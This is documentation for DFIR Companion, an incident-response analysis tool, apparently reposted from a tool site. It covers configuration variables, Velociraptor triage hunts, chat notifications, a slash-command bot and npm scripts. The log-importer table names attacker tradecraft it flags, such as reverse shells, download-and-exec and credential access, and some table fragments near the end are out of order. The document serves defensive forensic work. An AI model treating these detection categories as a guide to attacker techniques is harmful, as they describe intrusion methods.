DFIR_VELO_HUNT_WAIT_MIN10Default minutes before a triage bundle hunt auto-collects (per-run + per-bundle override; clamped 1–1440)
DFIR_VELOCIRAPTOR_UPLOAD_VQL—Advanced: override the VQL that reads a hunt's uploaded text reports (json/jsonl/ndjson/csv/txt/log; version-sensitive; keep the __HUNT_ID__ placeholder)
DFIR_VELOCIRAPTOR_FLOW_UPLOAD_VQL—Advanced: override the VQL that reads an externally-pasted single flow's uploaded reports (keep the __CLIENT_ID__/__FLOW_ID__ placeholders)
DFIR_HUNT_SUGGEST_MAX8Max number of returned per generation (needs an AI provider, not the Velociraptor API)

Triage bundles (Settings → Velociraptor tab): Browse server artifacts lists the server's collectable CLIENT artifacts; assemble + save named bundles (three ship built-in — Best Practice (quick-wins sweep), Super-Timeline Triage (raw host artifacts, routed to the super-timeline only) and Linux Triage — stored globally next to cases/ in bundles/). Every bundle, built-ins included, is editable in place — an edit saves an override; Reset to default discards it. Run one as a hunt from the dashboard's Fleet Collection panel (optionally scoped by include/exclude labels + OS, and a minimum-severity import floor). The collection timeout is a bundle setting (configured in the editor — bump it for slow artifacts like THOR; Velociraptor's default is 600 s) and is applied automatically on every run. Each hunt also carries a relative expiry — how long it keeps scheduling on clients that check in later — chosen from 1 hour / 1 day / 1 week (default 1 hour, vs Velociraptor's own week-long default); it's a per-bundle default set in the editor and overridable per run. Bundles can also carry per-artifact parameters (passed to the hunt's spec) so a heavy artifact emits less at the source — Best Practice ships **Hayabusa pinned to RuleLevel=Critical/High/Medium

  • RuleStatus=Stable+Experimental** so it doesn't flood the import; tune any artifact via the builder's optional Advanced → parameters JSON, and drop noisy rows with per-artifact exclude filters (VQL WHERE, e.g. NOT OSPath =~ 'pagefile'). The hunt stays open until expiry, so the Companion auto-collects after DFIR_VELO_HUNT_WAIT_MIN and ingests both the result rows and any uploaded JSON report (e.g. THOR/Hayabusa via Generic.Scanner.ThorZIP — for those the rows don't matter, the uploaded JSON does; it's auto-detected and routed to the right importer), then synthesizes — or click Collect now on the live job card to pull early. The in-flight job persists per case (state/velo-hunt.json) and survives a server restart; results appear on the dashboard timeline/IOCs.

MCP servers (optional)

VariableDefaultDescription
DFIR_MCP_MODEL(CLI default)Model used for single MCP tool calls, passed to claude --model.
DFIR_MCP_AGENT_MODEL(CLI default)Model for the agentic loop, passed to claude --model.

Registering a server is a security decision, not just configuration — see Registering an MCP server.

Notifications (optional)

Push new/escalated findings, playbook updates, and investigation milestones to Slack / MS Teams webhooks or SMTP email. There is no enabling env var — channels are created in the dashboard (⚙ Settings → Notifications) and stored next to cases/ in notifications/config.json (gitignored; it holds the webhook URLs + SMTP passwords). The list starts empty (opt-in). Each channel has a severity threshold and per-event toggles (findings / playbook / milestones). Use the Test button to verify a channel end-to-end.

⚠ OPSEC: notifications send case content (finding/task titles) to a third party. Don't enable on a sensitive case unless the destination is trusted.

Slack — create an Incoming Webhook (no manual OAuth scopes; Slack adds incoming-webhook automatically):

  1. Go to https://api.slack.com/apps → Create New App → From scratch; name it (e.g. DFIR Companion) and pick your workspace.
  2. Left sidebar → Features → Incoming Webhooks → toggle Activate Incoming Webhooks on.
  3. Add New Webhook to Workspace → choose the destination channel → Allow.
  4. Copy the Webhook URL (https://hooks.slack.com/services/T…/B…/…).
  5. In the Companion: Settings → Notifications → Add a channel → Slack webhook, paste the URL, Add channel, then Test.

One webhook posts to one channel — add another webhook (and another Companion channel) for each extra channel. The URL is a secret (anyone with it can post there), which is why the config file is gitignored and the URL is redacted in API responses. Bot-token scopes like chat:write are not needed — the Companion posts via the incoming webhook, not the Web API.

MS Teams — add an Incoming Webhook connector (or a Power Automate "when a webhook request is received" flow) to a channel and paste its URL (the Companion sends a MessageCard). SMTP email — give the channel a host/port, optional username+password, and from/to; opportunistic STARTTLS + AUTH LOGIN are used when offered. For a quick local test, point it at Mailpit (docker run -p 1025:1025 -p 8025:8025 axllent/mailpit).

Telegram — uses a Bot API token + a chat/channel/group ID:

  1. Open a chat with @BotFather, run /newbot, and copy the token (123456789:AAF…).
  2. Get your chat ID:
    • Private chat with yourself — send /start to your bot, then open https://api.telegram.org/bot<TOKEN>/getUpdates; the chat.id is a positive integer.
    • Group — add the bot, send any message, open getUpdates; chat.id is a negative integer.
    • Public channel — use the username directly: @mychannel.
    • Private channel — add the bot as an administrator; forward a post to @getidsbot to get the numeric ID (usually -100…).
  3. In the Companion: Settings → Notifications → Add a channel → Telegram bot, paste the token and chat ID, then click Test.

Already running the war-room bot? Leave the token blank and fill in only the chat ID — the channel reuses DFIR_TELEGRAM_BOT_TOKEN from .env, and the field shows (already set). The token stays in .env alone, so rotating it there rotates this channel too. Type a token here only to send through a different bot; it then overrides the env one for this channel.

A token typed here is stored in notifications/config.json (beside cases/) and is never echoed back to the browser — the dashboard only learns whether one is set, and whether it came from .env.

VariableDefaultMeaning
DFIR_PUBLIC_URLhttp://<host>:<port>Public base URL used to deep-link a notification back to the case (set when reached via a hostname/proxy)
DFIR_NOTIFY_CA—PEM CA bundle for a self-hosted webhook host (e.g. Mattermost)
DFIR_NOTIFY_INSECURE—=1 to skip TLS verification for the webhook host (lab only)

War-room slash-command bot (optional)

Notifications push out; this is the way back in. Run the case from the incident channel instead of switching to the dashboard for every question:

root@kitploit:~
/dfir bind IR-2026-014          bind this channel to a case — every later command can omit the id
/dfir status                    events, findings, IOCs, open questions
/dfir findings                  top 5 by severity
/dfir finding f3                one finding card
/dfir iocs malicious            IOCs filtered by verdict (flagged | malicious)
/dfir ask what was the initial access vector?     grounded AI answer (posted when ready)
/dfir synthesize                trigger a re-synthesis
/dfir hunt T1059.001            note a technique to hunt (deploy it from the dashboard)
/dfir unbind                    clear the binding

Each platform turns on when you set its secret:

No tunnel needed — the companion opens the connection outbound:

PlatformHow commands arriveEnable with
SlackSocket Mode — outbound WebSocketDFIR_SLACK_SOCKET_MODE=on + DFIR_SLACK_APP_TOKEN (xapp-…, connections:write)
TelegramLong pollingDFIR_TELEGRAM_POLL=on + DFIR_TELEGRAM_BOT_TOKEN

Or as inbound webhooks, which need a public address:

PlatformEndpointEnable with
SlackPOST /integrations/slack/commandDFIR_SLACK_SIGNING_SECRET (Basic Information → Signing Secret)
MS TeamsPOST /integrations/teams/commandDFIR_TEAMS_TOKEN (shared secret in the Authorization header)
TelegramPOST /integrations/telegram/commandDFIR_TELEGRAM_SECRET_TOKEN (the secret_token you pass to setWebhook)

Telegram needs no tunnel. Create the bot with @BotFather, set two variables, restart, and message it:

root@kitploit:~
DFIR_TELEGRAM_POLL=on
DFIR_TELEGRAM_BOT_TOKEN=123456789:AAF...

The companion calls Telegram and asks for new commands, so nothing about the machine is reachable from the internet — the same outbound direction the notifier already uses. A bot can't do both: clear any existing webhook with .../deleteWebhook first.

Slack Socket Mode is the same idea: enable Socket Mode on the app, mint an app-level token (xapp-…, scope connections:write), and the companion dials out to Slack — no Request URL.

Webhook mode reaches this companion from the internet via your tunnel or reverse proxy — and that hostname must be in DFIR_ALLOWED_HOSTS, or the DNS-rebinding guard turns the request away before the bot sees it. MS Teams has no outbound option, so it always needs this.

OPSEC — anyone who can post in the channel can pull case content. Password-protected cases are refused over chat entirely (a chat message carries no unlock). Set DFIR_*_ACTION_USERS to keep AI spend, re-synthesis and re-binding to named responders; doing so also confines everyone else to the channel's bound case.

VariableDefaultMeaning
DFIR_SLACK_ACTION_USERS(unset = open)Comma-separated Slack user ids allowed to run ask/hunt/synthesize/bind
DFIR_TEAMS_ACTION_USERS(unset = open)Same, for Teams
DFIR_TELEGRAM_ACTION_USERS(unset = open)Same, for Telegram (numeric user ids)
DFIR_SLACK_RESPONSE_HOSTShooks.slack.comExtra hosts an async result may be delivered to (self-hosted Slack-compatible server)
DFIR_TEAMS_RESPONSE_HOSTS*.webhook.office.com, *.logic.azure.com, *.office.comSame, for Teams
DFIR_TELEGRAM_BOT_TOKEN—@BotFather token, used to deliver async results
DFIR_TELEGRAM_API_BASEhttps://api.telegram.orgBot API base URL override

Analysis tuning

VariableDefaultMeaning
DFIR_HUNT_PLATFORMSallComma-separated platform allowlist for hunt-pivot cards: velociraptor, defender, elastic, splunk, sigma, yara, suricata
DFIR_CORRELATE_WINDOW_S2Time window (s) for same-path cross-source event merge
DFIR_PHASE_GAP_S300Gap between events (s) that starts a new attack phase
DFIR_BEACON_MIN_COUNT5Minimum connection events to a (host → dest:port) channel before it's considered for beacon detection
DFIR_BEACON_MAX_JITTER_PCT20Max interval jitter (stddev as % of mean) for a channel to count as a beacon — lower = stricter
DFIR_GAP_MIN_MINUTES30Hard floor for log gap analysis — a timeline silence shorter than this is never flagged
DFIR_GAP_DENSITY_FACTOR4A gap must also be ≥ this × the timeline's median inter-event interval to flag (suppresses normal quiet in sparse timelines; 0 = floor only)
DFIR_GAP_ACTIVE_HOURS(unset)Optional working hours "8-18" (UTC, supports wrap-around "22-6") — flag only gaps overlapping them; supersedes the density heuristic when set
DFIR_GAP_MAX_FINDINGS5Cap on complete-silence gaps that escalate to a finding (panel/report still show all) — stops a super-timeline case flooding the findings list
DFIR_GAP_HYPOTHESIS_MAX5Max gaps the Hypothesize gaps AI call reasons about per run (worst-first); each still gets its shadow-artifact collections
DFIR_GAP_HYPOTHESIS_CONTEXT

Example .env (two-tier OpenRouter setup):

root@kitploit:~
DFIR_VISION_PROVIDER=openrouter
DFIR_VISION_MODEL=openai/gpt-4o-mini          # cheap extraction (per screenshot)
DFIR_VISION_KEY=sk-or-...
DFIR_AI_SYNTH_MODEL=google/gemini-2.5-pro # strong synthesis (one call)
DFIR_VISION_IMAGE_DETAIL=high

npm scripts — full CLI reference

All run from companion/. Arguments after -- are forwarded to the script.

npm run dev

Start the server (reads .env). Binds 127.0.0.1:4773. Dashboard at /dashboard.

root@kitploit:~
npm run dev

npm run build

Type-check / compile with tsc. No arguments.

root@kitploit:~
npm run build

npm test

Run the full vitest suite. No arguments.

root@kitploit:~
npm test

npm run verify:ai -- [caseId] [flags]

One-call smoke test: sends 3 screenshots from the middle of the case to the configured model and confirms the response parses against the schema. Prints findings, forensic events, and attacker-path preview.

Arg / flagDefaultEffect
caseId (positional)test1Case to sample screenshots from.
--provider NAMEfrom .envOverride DFIR_VISION_PROVIDER for this run.
--model IDfrom .envOverride DFIR_VISION_MODEL for this run.
--key KEYfrom .envOverride DFIR_VISION_KEY for this run.
root@kitploit:~
npm run verify:ai
npm run verify:ai -- mycase
npm run verify:ai -- mycase --provider openrouter --model openai/gpt-4o --key sk-or-...

npm run coverage -- [caseId]

Reports how many of a case's screenshots were analyzed vs. skipped (duplicates) vs. never touched. Reads only captures.jsonl and the indexed investigation state — no AI calls.

ArgDefaultEffect
caseId (positional)test1Case to inspect.
root@kitploit:~
npm run coverage -- test1
npm run coverage -- mycase

npm run reanalyze -- <caseId> [flags]

Re-run AI analysis over a case's already-captured screenshots, rebuilding the investigation state. Runs synthesis at the end unless --no-synthesis is passed. Uses your API quota (~1 call per --window screenshots, plus 1 synthesis call).

Arg / flagDefaultEffect
caseId (positional)test1Case to process.
--resetoffEmpty the state before analyzing. Otherwise merges into existing.
--alloffInclude duplicate screenshots too (most thorough, more API calls).
--window N4Screenshots per AI extraction call.
--provider NAMEfrom .envOverride DFIR_VISION_PROVIDER (extraction).
--model IDfrom .envOverride DFIR_VISION_MODEL (extraction).
--key KEYfrom .envOverride DFIR_VISION_KEY (extraction).
--base-url URLfrom .envOverride DFIR_VISION_BASE_URL (extraction) — e.g. a local LiteLLM proxy.
--synth-provider NAME= extraction / DFIR_AI_SYNTH_PROVIDERProvider for the synthesis pass.
--synth-model ID= extraction / DFIR_AI_SYNTH_MODELStronger model for synthesis (findings / MITRE / attacker path).
--synth-key KEY= extraction / DFIR_AI_SYNTH_KEYAPI key for the synthesis provider.
--synth-base-url URL= extraction / DFIR_AI_SYNTH_BASE_URLBase URL for the synthesis provider.
--no-synthesisoffSkip the final synthesis pass (raw forensic timeline only).
root@kitploit:~
# Reanalyze unique screenshots, merge into existing state
npm run reanalyze -- test1

# Fresh rebuild from empty state
npm run reanalyze -- test1 --reset

# Include duplicates too (most thorough)
npm run reanalyze -- test1 --all --reset

# Different window size
npm run reanalyze -- test1 --reset --window 3

# Try a different model
npm run reanalyze -- test1 --reset --model openai/gpt-4o

# Switch provider + model + key for this run
npm run reanalyze -- test1 --reset --provider gemini --model gemini-1.5-pro --key AIza...

# Two-tier (recommended): cheap extraction, strong synthesis
npm run reanalyze -- test1 --reset \
  --model openai/gpt-4o-mini \
  --synth-model openai/gpt-4o

# Cross-provider two-tier
npm run reanalyze -- test1 --reset \
  --provider openrouter --model openai/gpt-4o-mini --key sk-or-... \
  --synth-provider openrouter --synth-model google/gemini-2.5-pro --synth-key sk-or-...

# Just rebuild the forensic timeline, skip conclusions
npm run reanalyze -- test1 --reset --no-synthesis

npm run synthesize -- <caseId> [flags]

One text-only AI call over the full (in-scope) forensic timeline → findings, IOCs, MITRE mapping, attacker path, key questions. Prefers DFIR_AI_SYNTH_* env vars; falls back to the extraction model.

Arg / flagDefaultEffect
caseId (positional)test1Case to synthesize.
--provider NAMEDFIR_AI_SYNTH_PROVIDER ?? DFIR_VISION_PROVIDEROverride the synthesis provider.
--model IDDFIR_AI_SYNTH_MODEL ?? DFIR_VISION_MODELOverride the synthesis model.
--key KEYDFIR_AI_SYNTH_KEY ?? DFIR_VISION_KEYOverride the synthesis API key.
--base-url URLDFIR_AI_SYNTH_BASE_URL ?? DFIR_VISION_BASE_URLOverride the synthesis base URL (e.g. a local LiteLLM proxy).
root@kitploit:~
# Use whatever .env says
npm run synthesize -- test1

# Re-run conclusions with a stronger model (no re-capture needed)
npm run synthesize -- test1 --model openai/gpt-4o

# Switch provider for this run
npm run synthesize -- test1 --provider gemini --model gemini-1.5-pro --key AIza...

npm run clean-timeline -- <caseId> [--apply]

Strip analyst/tool-usage rows (Velociraptor hunts, notebooks, searches, "Response and Monitoring accessed", etc.) from the forensic timeline. No AI calls. Dry-run by default.

Arg / flagDefaultEffect
caseId (positional)test1Case to clean.
--applyoffActually save. Without it, just previews what would be removed.
root@kitploit:~
# Preview what would be removed
npm run clean-timeline -- test1

# Actually save the cleaned timeline
npm run clean-timeline -- test1 --apply

After cleaning, re-run npm run synthesize -- <caseId> to refresh conclusions.

Recommended workflows

root@kitploit:~
# Daily live capture (just start the server and browse)
npm run dev

# Verify a new model works against your case before committing to it
npm run verify:ai -- mycase --model openai/gpt-4o

# Check how complete the analysis is
npm run coverage -- mycase

# Recover a case with weak/empty findings: full rebuild
npm run reanalyze -- mycase --reset

# Timeline already good — only refresh conclusions
npm run synthesize -- mycase

# Strip noise from the timeline, then refresh conclusions
npm run clean-timeline -- mycase --apply
npm run synthesize -- mycase

# Two-tier cost-optimised rebuild
npm run reanalyze -- mycase --reset \
  --model openai/gpt-4o-mini \
  --synth-model google/gemini-2.5-pro

Roadmap

Planned work and ideas are tracked as GitHub Issues under the enhancement label.

Tests and quality gates

root@kitploit:~
cd companion && npm test     # server unit tests
cd extension && npm test     # extension unit tests

CI runs six gates on every pull request — production build, test type-check, lint, format-check, and the file-size and circular-import ratchets. All of them run locally:

root@kitploit:~
cd companion && npm run build && npm run typecheck && npm run lint && npm run format:check && npm run check:size && npm run check:imports && npm test

CONTRIBUTING.md explains what each gate is for and what to do when one fails — including the shared test helpers that make most type errors a one-line fix.

Disclaimer

DFIR Companion is provided "as is", without warranty of any kind, whether express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, accuracy, and non-infringement.

It is an analysis aid, not an authority. Its output — the forensic timeline, findings, severities, IOCs, attacker-path narrative, reports, and any AI-generated conclusions — may be incomplete, inaccurate, or misleading. In particular, it may overstate results (false positives or inflated severity) or miss incidents, events, or indicators entirely (false negatives). All output must be independently reviewed and verified by a qualified investigator before it is relied upon, acted on, or included in any deliverable.

To the maximum extent permitted by applicable law, the author and contributors accept no liability for any direct, indirect, incidental, consequential, or other damages, or for any decision, action, or omission arising from the use of — or inability to use — this software or its output, including but not limited to overstated results or missed incidents. You use the software at your own risk and remain solely responsible for your investigation, your conclusions, and your compliance with all applicable laws and authorizations.

License

DFIR Companion is free software, licensed under the GNU Affero General Public License v3.0 (AGPL-3.0-only). See LICENSE for the full text.

Copyright © 2026 Yaniv Radunsky.

In short: you're free to use, study, modify, and share it — but if you distribute a modified version or run a modified version as a network service, you must make your complete source code available to its users under the same license. (This is the DFIR-tooling norm — Velociraptor, MISP, and TheHive are AGPL too.)

Cisco ASA firewall syslog%ASA-#-######: Built/Teardown/Deny messagesInfo by default (telemetry); explicit Deny → Low
Syslog (plain)RFC 5424 (<PRI>1 …) + RFC 3164 (Mmm dd …) Linux/Unix host logsInfo by default (telemetry); auth-failure or crit/alert/emerg PRI → Low
Security OnionSOC Alerts/Hunt events (ECS); pushed by the extension or a SOC API exportevent.severity_label (Suricata/SO label)
SO-CRATESSuricata alerts + YARA file matches (/api/events) and Sigma detections (/api/sigma-alerts); pushed by the extension or a raw exportSuricata priority / Sigma level / YARA match
Cyber TriageJSONL / JSON / CSV timelineCyber Triage item score
M365 / Entra IDUAL, Entra sign-in + audit logsBEC tradecraft table / Entra riskLevel
OktaSystem Log exportIdP tradecraft table (MFA disabled, admin grant, API token minted, session impersonated) — not the vendor's operational grade
Google WorkspaceAdmin + login auditIdP tradecraft table (2SV disabled, role granted, OAuth consented, mail monitor added)
Hindsight (browser)Chrome/Edge/Brave history, downloads, interpretations (JSON or CSV)— (Info events: browser artifacts are evidence, not verdicts)
macOSUnified log (log show --style json), LSQuarantine download events, com.apple.quarantine attributes, launchd plists, login items (classic plist, .sfl2, BTM)Quarantine record ↔ file attribute ↔ browser visit ↔ process start joined by identifier; a plist reads as configuration, never as a run
iLEAPP / ALEAPPiOS + Android extraction artifacts from LEAPP TSV exports— (Info events; generic parser keyed on the timestamp column)
AWS CloudTrailRecords JSON, NDJSON, AthenaAPI action table (IAM/logging/S3/secrets)
GCP / AzureCloud Audit Logs, Azure Activity LogAction table (IAM/logging/secrets)
Kubernetes auditAPI-server audit log (audit.k8s.io JSON-lines / EventList)(verb, resource) table — pod exec/attach T1609, secret access T1552.007, RBAC change T1098, privileged-pod T1610/T1611, anonymous access T1078
osqueryscheduled-query result log (differential columns + snapshot)Info telemetry; conservative tradecraft bump on a command-line column
Plasopsort CSV (dynamic + l2tcsv)— (Info events)
Sandbox reportsCAPEv2 report.json, Falcon Sandbox summarySample verdict + behavioural signatures
Memory forensicsVolatility 3 (-r json) + Rekall: pslist/pstree, netscan, malfind, cmdline, svcscan; a JSON run envelope (command, exit status, stderr) imports beside the exportmalfind injected code → High (T1055); listings → Info/Low; a zero-row or failed run says what it establishes
Intact (trimmed VolWeb)memory_payload.json plugin tables + yarascan_results.jsonlSame plugin mapping; memory YARA hits → Low, a dense many-rule cluster → Info; row caps disclosed
TheHiveCase / alert JSON export, observable list (TheHive 5)TheHive severity 1–4; MITRE from ATT&CK-tagged tags
Email.eml (RFC 2822), best-effort .msgSPF/DKIM/DMARC fail → sender spoof heuristics (T1566 Phishing)
Shell history.bash_history / .zsh_history (bash HISTTIMEFORMAT #epoch + zsh extended history)Info by default; conservative bump on tradecraft (reverse shell, download-and-exec, cred access, log/history tampering, lateral SSH)
Linux persistenceSSH authorized keys, cron, systemd units, shell profiles, SUID listings and PATH from one collectionWorld-writable payloads, root running user-writable files, setuid interpreters; nothing graded for merely existing
Linux auditdraw audit.log / ausearch records, aureport tablesRecord-type table (logins, account mgmt, sudo, SELinux, audit tampering)
systemd journaldjournalctl -o json / -o json-prettysyslog PRIORITY + tradecraft bumps (sshd, sudo, useradd)
sysdig / FalcoFalco alert JSON, sysdig -j event JSONFalco rule priority; raw syscalls → Info telemetry
Wazuhalerts.json / NDJSON, or API export (GET /security/events)rule.level (≥13 Critical, ≥10 High, ≥7 Medium)
CSVVelociraptor / EDR exports—
Generic logsFirewall, syslog, VPN; repetitive lines → counted patternsAI-triaged
logs/session-<time>.log
cases/<id>/logs/session-<time>.log
debug
DFIR_LOG_DIRlogs/ beside cases rootFolder for the global session log. Relative paths anchor to companion/. Per-case logs always stay in the case folder
§3.5 Model performance
DFIR_AI_SECOND_OPINION_MODEL
DFIR_AI_MODEL
DFIR_AI_SYNTH_MODEL
DFIR_AI_CONTEXT_TOKENS128000Model context window; raise for Claude/Gemini (200k/1M) to send more per call
DFIR_VISION_IMAGE_DETAILhighhigh | low | auto (OpenAI/OpenRouter); high tiles at full res for small-text OCR
DFIR_AI_AUTO_SYNTHESIZEonRe-synthesize during capture: on | off
DFIR_AI_AUTO_SYNTHESIZE_MS8000Debounce window before auto-synthesis fires (ms)
DFIR_FLUSH_INTERVAL_MS300000Safety-net flush of leftover capture buffers (ms); 0 disables
DFIR_ANONYMIZEonTokenize victim IPs/hosts/users/paths before AI calls: on | off
DFIR_PRESIDIO_URL(unset)Optional: base URL of a self-run Presidio Analyzer container (e.g. http://localhost:5002) that scans already-masked text for names and other PII regex can't catch. Unset = feature off.
DFIR_PRESIDIO_MIN_SCORE0.6Confidence floor (0–1) for Presidio findings; blank/non-numeric falls back to the default, out-of-range values are clamped
DFIR_PRESIDIO_TIMEOUT_MS60000Budget for one /analyze request (scans are chunked; each chunk gets the full budget). Raise it for a slow or shared analyzer; blank/non-numeric/≤0 falls back to the default
DFIR_MISP_ANALYSIS1New event analysis state: 0=initial, 1=ongoing, 2=complete
DFIR_MISP_TIMELINE_LIMIT5000Max forensic-timeline events per push; past the cap the most severe are kept and the push warns
DFIR_YETI_URL—YETI instance URL — both URL + key required
DFIR_YETI_KEY—YETI API key
DFIR_YETI_CA—PEM CA bundle for internal-CA YETI
DFIR_YETI_INSECURE—=1 to skip TLS verification (lab only)
DFIR_OPENCTI_URL—OpenCTI instance URL — both URL + key required (hash/ip/domain/url)
DFIR_OPENCTI_KEY—OpenCTI API token
DFIR_OPENCTI_CA—PEM CA bundle for internal-CA OpenCTI
DFIR_OPENCTI_INSECURE—=1 to skip TLS verification (lab only)
DFIR_OPENCTI_MALICIOUS_SCORE75x_opencti_score threshold for malicious verdict
DFIR_RDAP_URLhttps://rdap.orgWHOIS-over-RDAP base (keyless; IANA bootstrap to the owning RIR)
DFIR_GEOIP_URLhttps://ipinfo.io/{ip}/jsonGeoIP URL template (keyless HTTPS; {ip} substituted; parser also tolerates ip-api.com + ipwho.is)
DFIR_GEOIP_KEY—Optional GeoIP key (fills {key}, else appended as ?token=) for a paid/self-hosted backend
DFIR_SHODAN_KEY—Shodan API key — also powers the Shodan host-lookup IP enricher (shared with customer exposure)
DFIR_HASHLOOKUP_URLhttps://hashlookup.circl.luCIRCL hashlookup base (keyless known-file lookup for hash IOCs); override for a self-hosted / air-gapped mirror
DFIR_ENRICH_DELAY_MS1500Throttle between lookups (ms)
DFIR_ENRICH_JITTER_MS0± random jitter added to the inter-call wait (ms); spreads out aligned/parallel runs so they don't all hit a provider's rate-limit window together
DFIR_ENRICH_RETRIES2Retry attempts for a provider call that hits a 429, honouring Retry-After when the provider sends one, before it's counted as an error
DFIR_ENRICH_RETRY_BACKOFF_MS1000Base backoff before the first 429 retry (doubles each attempt, capped at 30s) when the provider gave no Retry-After
DFIR_ENRICH_MAX100Max IOCs queried per enrich batch (hashes/IPs first)
DFIR_ENRICH_MAX_BATCHES20How many capped batches one enrich kick may chain. A case with more IOCs than DFIR_ENRICH_MAX no longer stops at the cap: the run saves, then starts the next batch where it left off, up to this many. 1 restores the old single-run behaviour. Whatever the cap still leaves is reported in the status line, not silently dropped
DFIR_ENRICH_HEALTH_TTL_MS60000Cache up/down verdict for self-hosted providers (ms)
DFIR_ENRICH_HEALTH_POLL_MS60000Re-probe interval for down providers; 0 disables background poller
AI-suggested fleet hunts
DFIR_PBHUNT_SUGGEST_MAX30Max number of AI-suggested playbook hunts returned per generation (one per endpoint-related task; needs an AI provider)
8
Events on each side of a gap fed to the hypothesis prompt as before/after context
DFIR_DEDUPonSkip AI analysis of a screenshot only when it's byte-identical to the previous capture (SHA-256 exact match — the screen didn't change). Any difference is analyzed; still stored as evidence either way. Set off to analyze every screenshot
TAGGER_AUTOtrueContent-based event tagger (Timesketch-style tags.yaml): run the ruleset automatically after every import, tagging matching events (and, on the forensic timeline, raising severity / unioning MITRE). Set false to only run it manually from the dashboard (Super-Timeline → 🏷 Content tagger → Run tagger)
TAGGER_SCOPEbothWhich timeline the tagger runs over: forensic (curated timeline only), super (raw super-timeline only, tags only — never mutates severity/MITRE), or both. Tags are keyed by event id, so they filter in both timelines regardless
TAGGER_RULES_FILE(unset)Absolute path to a custom rule file, overriding the dashboard-edited file and the bundled default (companion/data/tags.yaml). Edit rules in-app via Super-Timeline → 🏷 Content tagger → Edit rules